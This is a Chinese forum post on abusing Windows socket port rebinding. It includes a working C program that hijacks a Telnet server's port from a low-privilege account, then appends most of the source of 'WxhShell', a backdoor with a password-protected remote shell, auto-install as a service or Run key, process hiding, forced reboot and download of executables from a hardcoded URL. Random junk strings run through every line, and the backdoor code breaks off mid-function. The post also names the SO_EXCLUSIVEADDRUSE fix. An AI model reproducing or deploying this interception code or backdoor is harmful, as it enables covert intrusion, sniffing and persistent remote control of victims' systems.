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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `\CVV*hP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?6"{!s{v  
H,y4`p 0  
  saddr.sin_family = AF_INET; Zsx3/}  
S6g<M5^R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b~w=v_[(I  
te,[f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y`BRh9Sa  
}t%W1UJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lz<]5T|  
aG%, cQ1  
  这意味着什么?意味着可以进行如下的攻击: 'e!J06  
F_H82BE+3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .i Hn5SGA  
Vsnuy8~k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <hx+wrv  
t0)<$At6J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [p;E~-S  
[eUftr9&0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fo0+dzazY  
AUe# RP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~1L:_Sg*  
OLC{iD#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &ldBv_  
8|%^3O 0X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8}s.Fg@tE  
Qf$|_&|  
  #include x@Hd^xH`  
  #include .2) =vf'd  
  #include 04U")-\O  
  #include    N<(.%<!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tjT>VwqH  
  int main() /Q{P3:k  
  { ;j8 )KC  
  WORD wVersionRequested; 3?n>yS  
  DWORD ret; @]aOyb@  
  WSADATA wsaData; "vZ!vt#'Y  
  BOOL val; Qnd5X`jF#  
  SOCKADDR_IN saddr; RsJ6OFcWV  
  SOCKADDR_IN scaddr; 'T<iHV&  
  int err; umi5Wb<  
  SOCKET s; s?R2B)a  
  SOCKET sc; /FP5`:PfL  
  int caddsize; Q[F}r`  
  HANDLE mt; ^ vilgg~  
  DWORD tid;    rl2&^N  
  wVersionRequested = MAKEWORD( 2, 2 ); :GpDg  
  err = WSAStartup( wVersionRequested, &wsaData ); UMl#D >:C<  
  if ( err != 0 ) { NKb1LbnZ*y  
  printf("error!WSAStartup failed!\n"); \*f;Xaa  
  return -1; R:Q0=PzDi#  
  } UFAL1c<V  
  saddr.sin_family = AF_INET; Xce0~\_ A  
   >K9#3 4hP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4;`oUt'.  
V'*~L\;pU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !`41q=r  
  saddr.sin_port = htons(23); u VyGk~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2owEw*5jl/  
  { o]:3H8  
  printf("error!socket failed!\n"); Ig]iT  
  return -1; kVK/9dy-F  
  } OCZaQ33  
  val = TRUE; Suk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ABE@n%|`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) : G\<y  
  { I$N8tn+E  
  printf("error!setsockopt failed!\n"); t58e(dgi  
  return -1; )9l^O  
  } !l]dR@e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Wjhvxk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &nBa=Enf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J]f3CU,<N  
e@:sR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _4^R9Bt  
  { l2N]a9bq@  
  ret=GetLastError(); iY"l}.7)  
  printf("error!bind failed!\n"); \%^%wXfp  
  return -1; ]BR,M4   
  } `;%]'F0`  
  listen(s,2); sVG(N.y  
  while(1) ?T+q/lt4  
  { ZaNQpH.  
  caddsize = sizeof(scaddr); y6]vl=^L  
  //接受连接请求 z~`b\A,$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b#7{{@H  
  if(sc!=INVALID_SOCKET) S26MDLk`R3  
  { ~/.7l8)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $!&*xrrNM  
  if(mt==NULL) orOt>5}b<  
  { y ]?V~%  
  printf("Thread Creat Failed!\n"); 5j~$Mj`  
  break; .tD*2  
  } o,|[GhtHqs  
  } [1.+H yJ}  
  CloseHandle(mt); @v}/zS  
  } V5*OA??k<  
  closesocket(s); \=_{na_  
  WSACleanup(); Y ')x/H  
  return 0; 0}_[DAd6  
  }   giz7{Ai  
  DWORD WINAPI ClientThread(LPVOID lpParam) gz3pX#S  
  { {nLjY|*  
  SOCKET ss = (SOCKET)lpParam; Qxj JN^Q  
  SOCKET sc; M(/r%-D  
  unsigned char buf[4096]; g<~Cpd  
  SOCKADDR_IN saddr; bV,}Pp+/"!  
  long num; 9k{PBAP  
  DWORD val; 2RSt)3!},  
  DWORD ret; ;G%R<Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yn#X;ja-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l ok=  
  saddr.sin_family = AF_INET; \L"kV!>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )ZN|t?|  
  saddr.sin_port = htons(23); qvPtyc^fN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M![J2=  
  { BCA&mi3q  
  printf("error!socket failed!\n"); fkac_X$7  
  return -1; o}ZdTf=  
  } YpqrZWvh  
  val = 100; =ZqT3_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G;YrF)\  
  { ti#7(^j  
  ret = GetLastError(); Fi0GknQ+  
  return -1; EAM5{Nc  
  } ~c\e'&sc;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RsYU59_Y  
  { t<#h$}=:Vt  
  ret = GetLastError(); b9!FC$^J  
  return -1; WYr/oRO  
  } BqT y~{)+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *c2YRbU(  
  { <~WsD)=$  
  printf("error!socket connect failed!\n"); H- $)3"K  
  closesocket(sc); x9JD\vZ  
  closesocket(ss); |j,"Pl}il^  
  return -1; =uS9JU^E  
  } ;n 7/O5M|  
  while(1) w4gJoxY-`  
  { /HaHH.e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v d[0X;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4M2j!Sw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *6 >.!&  
  num = recv(ss,buf,4096,0); >G%o,9i  
  if(num>0) dUhY\v oQ  
  send(sc,buf,num,0); ajEjZ6  
  else if(num==0) @<elq'2  
  break; Fx2bwut.K  
  num = recv(sc,buf,4096,0); yPal<c  
  if(num>0) 3qf Ym}d  
  send(ss,buf,num,0); r[*Vqcz  
  else if(num==0) <_-hRbS  
  break; ~Yy>zUH^X  
  } X"fb;sGT  
  closesocket(ss); h%uZYsK  
  closesocket(sc); y]f"@9G#  
  return 0 ; 2I,^YWR  
  } 9J2NH|]c  
++^l]8  
B&n<M]7  
========================================================== E S//  
!*7 vFl  
下边附上一个代码,,WXhSHELL s*-n^o-  
TIQkW,  
========================================================== I+tb[*X+  
tg<EY!WY  
#include "stdafx.h" vbyH<LPz5  
~ Q.7VDz  
#include <stdio.h> xwq+j "  
#include <string.h> =ACVE;L?  
#include <windows.h> q!|*oUW  
#include <winsock2.h> $}!p+$  
#include <winsvc.h> ?j"KV_  
#include <urlmon.h> ?B2] -+Y  
E2Q[ZoVS  
#pragma comment (lib, "Ws2_32.lib") !1$])VQWI  
#pragma comment (lib, "urlmon.lib") 4b98Ks Yg  
)p<ExMIxd  
#define MAX_USER   100 // 最大客户端连接数 ~?K~L~f5  
#define BUF_SOCK   200 // sock buffer 0.8  2kl  
#define KEY_BUFF   255 // 输入 buffer )-a'{W/t  
&E.^jR~*  
#define REBOOT     0   // 重启 n(;|q&3  
#define SHUTDOWN   1   // 关机 tFp Ygff<  
\1^^\G>H5  
#define DEF_PORT   5000 // 监听端口 K<>oa[B9  
XovRg,  
#define REG_LEN     16   // 注册表键长度 ;V*l.gr'2  
#define SVC_LEN     80   // NT服务名长度 a,k>Q`  
i3 @)W4{  
// 从dll定义API 6WXRP;!Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H9YW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y^$X*U/q%U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y 0d<~*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t gI{`jS%  
~?d Nd  
// wxhshell配置信息 #h` V>;  
struct WSCFG { wl#@lOv-P  
  int ws_port;         // 监听端口 0jy2H2  
  char ws_passstr[REG_LEN]; // 口令 >0ow7Uw;  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8%A#`)fb  
  char ws_regname[REG_LEN]; // 注册表键名 t*Sa@$p  
  char ws_svcname[REG_LEN]; // 服务名 I ?gSG*m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (nf~x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nn@-W]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "_-Po^u=r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %A1o.{H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oX30VfT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5z7U1:  
gOSJM1Mr3  
}; kmP]SO?tx  
>=:&D)m"  
// default Wxhshell configuration a_f~N1kq  
struct WSCFG wscfg={DEF_PORT, cW@Zd5&0S  
    "xuhuanlingzhe", +ElfZ4  
    1, /Z'L^ L%R  
    "Wxhshell", K|zZS%?$  
    "Wxhshell", 6jE |  
            "WxhShell Service", 47+&L   
    "Wrsky Windows CmdShell Service", JtYP E?  
    "Please Input Your Password: ", IzikDc10  
  1, ?XrQ53  
  "http://www.wrsky.com/wxhshell.exe", ;oW6 NJ  
  "Wxhshell.exe" mF*2#]%dx  
    }; 0D\#Pq v  
[ 9 {*94M  
// 消息定义模块 I,>- tGK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e:fy#,HEj{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xS4w5i2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SUCM b8  
char *msg_ws_ext="\n\rExit."; n.!#P|  
char *msg_ws_end="\n\rQuit."; ZSjMH .Ij"  
char *msg_ws_boot="\n\rReboot..."; #@YPic"n7`  
char *msg_ws_poff="\n\rShutdown..."; b=yx7v"r  
char *msg_ws_down="\n\rSave to "; A9I{2qW9+Z  
uki#/GzaO  
char *msg_ws_err="\n\rErr!"; +ga k#M"n\  
char *msg_ws_ok="\n\rOK!"; HHDl8lo  
U}yW<#$+  
char ExeFile[MAX_PATH]; T!+5[  
int nUser = 0; :ubV};  
HANDLE handles[MAX_USER]; WIC/AL'  
int OsIsNt; 0^I|u t4  
IUE~_7  
SERVICE_STATUS       serviceStatus; j9eTCJqB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *"?l]d  
K28+]qy[  
// 函数声明 K2M~-S3  
int Install(void); Cn'(<bl  
int Uninstall(void); *SU\ABcov  
int DownloadFile(char *sURL, SOCKET wsh); G18F&c~  
int Boot(int flag); sqEI4~514  
void HideProc(void); R "n 5  
int GetOsVer(void); s )noo  
int Wxhshell(SOCKET wsl); [~-9i &Z  
void TalkWithClient(void *cs); Y-kt.X/Z-  
int CmdShell(SOCKET sock); Zn&, t &z  
int StartFromService(void); Sg&UagBj  
int StartWxhshell(LPSTR lpCmdLine); HePUWL'  
5]KW^sL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |^:cG4e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gw>^[dmt!  
.AR#&mL9  
// 数据结构和表定义 d4u})  
SERVICE_TABLE_ENTRY DispatchTable[] = e@Fo^#ImDx  
{ -~s!73pDY  
{wscfg.ws_svcname, NTServiceMain}, Rp.Sj{<2  
{NULL, NULL} 6h|q'.Y  
}; msP{l^%0  
rID#`:Hl-|  
// 自我安装 !}YAdZJ  
int Install(void) x2OaPlG,&V  
{ N4^-`  
  char svExeFile[MAX_PATH]; \|H!~)h$1  
  HKEY key; C7rNV0.Fq  
  strcpy(svExeFile,ExeFile); E@@5BEB ~  
S>h;K`  
// 如果是win9x系统,修改注册表设为自启动 15%w 8u  
if(!OsIsNt) { 'n{Nvt.c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7&t-pv92*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <'qeXgi  
  RegCloseKey(key); !nqUBa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1C< uz29  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >p)MawT]  
  RegCloseKey(key); l1T m`7}  
  return 0; 7E!IF>`  
    } ^8 zR  
  } rf $QxJ  
} (U&tt]|  
else { v25R_""~  
7|{}\w(I  
// 如果是NT以上系统,安装为系统服务 ;nep5!s;<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &~8oQC-eF  
if (schSCManager!=0) ( }{G`N>.{  
{ uD\?(LM  
  SC_HANDLE schService = CreateService 8J:}%DaxL  
  ( AP68V  
  schSCManager, @G8lr  
  wscfg.ws_svcname, #*QO3y~ZM  
  wscfg.ws_svcdisp, ~Mx!^  
  SERVICE_ALL_ACCESS, #xho[\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (61EDKNd9  
  SERVICE_AUTO_START, G9Y#kBr  
  SERVICE_ERROR_NORMAL, fKeT,U`W  
  svExeFile,  'C`U"I  
  NULL, BzkooJ  
  NULL, 8K.R=  
  NULL, aoTM  
  NULL, r"C  
  NULL #bUXgn>  
  ); YM1'L\^  
  if (schService!=0) 3vuivU.3  
  { p2ogn}`  
  CloseServiceHandle(schService); SG6kud\b  
  CloseServiceHandle(schSCManager); H<VTa? n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2Z-ljD&  
  strcat(svExeFile,wscfg.ws_svcname); !Y$h"<M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LgKaPg$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -K q5i  
  RegCloseKey(key); \#f <!R4  
  return 0; k_sg ?(-!o  
    } a6D &/8  
  } 5~r33L%  
  CloseServiceHandle(schSCManager); ;|p BFKx  
} J#w J4!  
} }T; P~aG  
q"%_tS  
return 1;  8cU}I4|  
} k,85Y$`'  
M.x=<:upp  
// 自我卸载 [0(B>a3J  
int Uninstall(void) S0B|#O%Z  
{ % W=b? :  
  HKEY key; JG" R\2  
ey2S#%DF]  
if(!OsIsNt) { d9B]fi}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I/a/)No  
  RegDeleteValue(key,wscfg.ws_regname); z2MWN\?8  
  RegCloseKey(key); :# .<[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "]"|"0#i  
  RegDeleteValue(key,wscfg.ws_regname); |bq$xp  
  RegCloseKey(key); /.3}aj;6  
  return 0; G f,`  
  } ,24p%KJ*X  
} }@;ep&b*  
} ix([mQg  
else { 7({]x*o*%  
Hc>m;[M)l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SW*"\X;  
if (schSCManager!=0) :ctu5{"UJ  
{ _oHNkKQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yn@lr6s  
  if (schService!=0) wCr(D>iM  
  { fuWO*  
  if(DeleteService(schService)!=0) { A;*d}Xe&J  
  CloseServiceHandle(schService); ] Bcp;D  
  CloseServiceHandle(schSCManager); E;Y;z  
  return 0; GO__$%~  
  } o9JMH.G  
  CloseServiceHandle(schService); v*;-yG&  
  } CS@FYO  
  CloseServiceHandle(schSCManager); {_`^R>"\&w  
} 23c 8  
} =-8bsV/l  
YpH&<$x:  
return 1; S'4(0j  
} rf?qdd(~cH  
UaWl6 Y&Vu  
// 从指定url下载文件 "Q!(52_@J  
int DownloadFile(char *sURL, SOCKET wsh) |2RC#]/-Y  
{ ,eTUhK  
  HRESULT hr; ;%<,IdhN  
char seps[]= "/"; 6kNrYom  
char *token; =<{np  
char *file; )+[ gd/<C.  
char myURL[MAX_PATH]; P0W*C6&71|  
char myFILE[MAX_PATH]; iH/6M  
d{SG Cr 9d  
strcpy(myURL,sURL); :+qF8t[L  
  token=strtok(myURL,seps); l5zS  
  while(token!=NULL) pm_`>3  
  { ;5zz<;Zy  
    file=token; x c/}#>ED  
  token=strtok(NULL,seps); *VFf.aPwYi  
  } g+pml*LJ  
_CmOd-y  
GetCurrentDirectory(MAX_PATH,myFILE); vbb 5f#WZ  
strcat(myFILE, "\\"); Tw""}|] g  
strcat(myFILE, file); G&i!Hs  
  send(wsh,myFILE,strlen(myFILE),0); Fh`~`eog  
send(wsh,"...",3,0); /W>iJfx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }% `.h"  
  if(hr==S_OK) #~7ip\Uf[  
return 0; zG ^$"f2  
else P(H8[,  
return 1; PcA2/!a  
*~t6(v?  
} v.pBX<  
WU quN  
// 系统电源模块 X $ s:>[H  
int Boot(int flag) `(YxI  
{ umiBj)r  
  HANDLE hToken; E%r k[wI  
  TOKEN_PRIVILEGES tkp; 'eLqlu|T  
M_"L9^^>N  
  if(OsIsNt) { )L#i%)+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !a7[ 8&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); swM*k;$q{  
    tkp.PrivilegeCount = 1; q(`/Vo4g(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^>jwh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &3bx `C  
if(flag==REBOOT) { .?R!DYC`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9aze>nxh.  
  return 0; H5Z$*4%G  
} P*FMwrJj>r  
else { IF44F3(V4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) syaPpM Q-  
  return 0; nm6h%}xND<  
} ~]nSSD)\  
  } ;1%-8f:lW  
  else { W3MU1gl6k{  
if(flag==REBOOT) { y%%}k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bgK'{_o-  
  return 0; E`?3PA8  
} [co% :xJu  
else { m9.{[K"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aqj@Cjk4Z  
  return 0; gk"$,\DI  
} c_vqL$Dl  
} _3TY,l~  
)N7Y^CN~  
return 1; Qa-K$dm%  
} sj HrPs e  
I'uSp-Sfy  
// win9x进程隐藏模块 y CVI\y\B  
void HideProc(void) 23Nw!6S  
{ ;\14b?TUH  
]x(e&fyHB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  |8My42yf  
  if ( hKernel != NULL ) u~WVGjoQ  
  { 5h Q E4/hH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TFkZpe;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B{'( L |  
    FreeLibrary(hKernel); g^}8:,F_  
  } {<R2UI5m5  
8,? h~prc  
return; 'VzP};  
} q|!-0B @  
e=B|==E10M  
// 获取操作系统版本 {>DE sO  
int GetOsVer(void) qz0;p=$8Z  
{ ;C3US)j  
  OSVERSIONINFO winfo; VGpWg rmHk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O(D ~_O.  
  GetVersionEx(&winfo); i} .&0Fp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q*_/to  
  return 1;  %oZ6l*  
  else Mxyb5h  
  return 0; glM$R&/  
} 7UVzp v  
SYCEQ5 -  
// 客户端句柄模块 E\as@pqo\p  
int Wxhshell(SOCKET wsl) mOy^vMa  
{ ^c^#dpn  
  SOCKET wsh; Fcd3H$Na;  
  struct sockaddr_in client; ST:A<Da"  
  DWORD myID; IC1NKn<k  
 @~!wDDS  
  while(nUser<MAX_USER) 8FKXSqhVM  
{ zgNc4B  
  int nSize=sizeof(client); RS)tO0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '98VYCL  
  if(wsh==INVALID_SOCKET) return 1; kEOS{C%6R  
"B3N* R(["  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T 6)bD&  
if(handles[nUser]==0) .1KhBgy^K  
  closesocket(wsh); d1AioQ9  
else o0ifp=V y  
  nUser++; ADDSCY=,  
  } ts\5uiB<%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MZSy6v  
zsX1QN16  
  return 0; Z>)Bp /-  
} nExU#/*~^  
wO'T BP  
// 关闭 socket YH vLGc%  
void CloseIt(SOCKET wsh) ^p[rc@+  
{ ?OcJ )5C4  
closesocket(wsh); $Tu61zq  
nUser--; i V'k}rXC  
ExitThread(0); /?@3.3sl_  
} pGJ>O/%  
%?}33yV  
// 客户端请求句柄 i~I%D%;  
void TalkWithClient(void *cs) fVF2-Rh=  
{ n>ULRgiT:o  
yeXx',]a  
  SOCKET wsh=(SOCKET)cs; A mNW0.}  
  char pwd[SVC_LEN]; r^FhTzA=1  
  char cmd[KEY_BUFF]; '*5i)^  
char chr[1]; GFeQ%l`7F  
int i,j; #$18*?tLv|  
`UD/}j@  
  while (nUser < MAX_USER) { Yw^m  
wSa)*]%  
if(wscfg.ws_passstr) { &dM. d!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0AZ")<^~7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZCmgs4W!  
  //ZeroMemory(pwd,KEY_BUFF); LAB=Vp1y3[  
      i=0; mq@6Q\Z+  
  while(i<SVC_LEN) { pT=JP> nd^  
NW]Lj >0Y  
  // 设置超时 W42 iu"@  
  fd_set FdRead; S2HcG 1J  
  struct timeval TimeOut; )c8rz[i  
  FD_ZERO(&FdRead); :r{<zd>;  
  FD_SET(wsh,&FdRead); /]K^ rw[  
  TimeOut.tv_sec=8; F*IzQ(#HW  
  TimeOut.tv_usec=0; >AVVEv18  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vdAr|4^qB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #|L8tuWW  
,:%CB"J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [pbo4e,4O  
  pwd=chr[0]; RRmz"j>  
  if(chr[0]==0xd || chr[0]==0xa) { ULs\+U  
  pwd=0; rDm~h~u5  
  break; 1oR7iD^  
  } B<5R   
  i++; X{5vXT\/y  
    } S\:P-&dC  
nyQ&f'<   
  // 如果是非法用户,关闭 socket [xSF6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B Wk/DVue  
} .nrMfl_  
-`'I{g&A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R%{<mno/_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gr*r=s  
6wBx;y |  
while(1) { BmbyH{4  
cqQ#p2<%  
  ZeroMemory(cmd,KEY_BUFF); wjH zE  
g%sluT[#  
      // 自动支持客户端 telnet标准   O#ai)e_uQk  
  j=0; ??^5;P{yx  
  while(j<KEY_BUFF) { xN5)   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `, OG7hg  
  cmd[j]=chr[0]; 6HT ;#Znn  
  if(chr[0]==0xa || chr[0]==0xd) { .YhA@8nc~l  
  cmd[j]=0; CDsSrKhx  
  break; Jl( &!?j  
  } :ci5r;^  
  j++; \hTm)-FP  
    } m8A#~i .  
6eLR2  
  // 下载文件 % Qmn-uZ  
  if(strstr(cmd,"http://")) { ;D3C >7y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e|)hG8FlF  
  if(DownloadFile(cmd,wsh)) YmL06<Mh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z"/p,A9W9|  
  else uZNTHD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `g(Y*uCp  
  } U;YC}r  
  else { [$mHv,~  
{#ZlM  
    switch(cmd[0]) { *:Y%HAy*  
  RSfQNc9Z  
  // 帮助 <^VJy5>  
  case '?': { [)H&'5 +F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,|3MG",@@h  
    break; ^X=ar TE  
  } &*##bA"!B  
  // 安装 NSxoF3  
  case 'i': { PRx8I .  
    if(Install()) 2<i!{;u$qL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=39+*6?  
    else I@T8Iv=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); caIL&G,  
    break; Z-^LKe  
    } Y1OCLnK~  
  // 卸载 (7vF/7BZ|_  
  case 'r': { = I:.X ;  
    if(Uninstall()) urbp#G/>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 51#_Vg  
    else vx1c,8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '.on)Zd.  
    break; Dt}JG6S  
    } B-xGX$<z  
  // 显示 wxhshell 所在路径 p, h9D_  
  case 'p': { E%yNa]\P  
    char svExeFile[MAX_PATH]; o*b] p-  
    strcpy(svExeFile,"\n\r"); )Q=_0;#;k  
      strcat(svExeFile,ExeFile); >tYm+coS  
        send(wsh,svExeFile,strlen(svExeFile),0); ohRjvJ'v|  
    break; q3mJ782p]  
    } v_BcTzQ0S  
  // 重启 @:j}Jmg  
  case 'b': { 8NxM4$nQX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B}n,b#,*  
    if(Boot(REBOOT)) |9uOUE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0@[$lv;OS  
    else { 8*W#DH!  
    closesocket(wsh); .I7pA5V{#  
    ExitThread(0); ^hG-~z<  
    } EMh7z7}Rr  
    break; ERUz3mjA/  
    } ]_Vx{oT7  
  // 关机 ~Y`ldL  
  case 'd': { ,`|3KE9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y<?kzt  
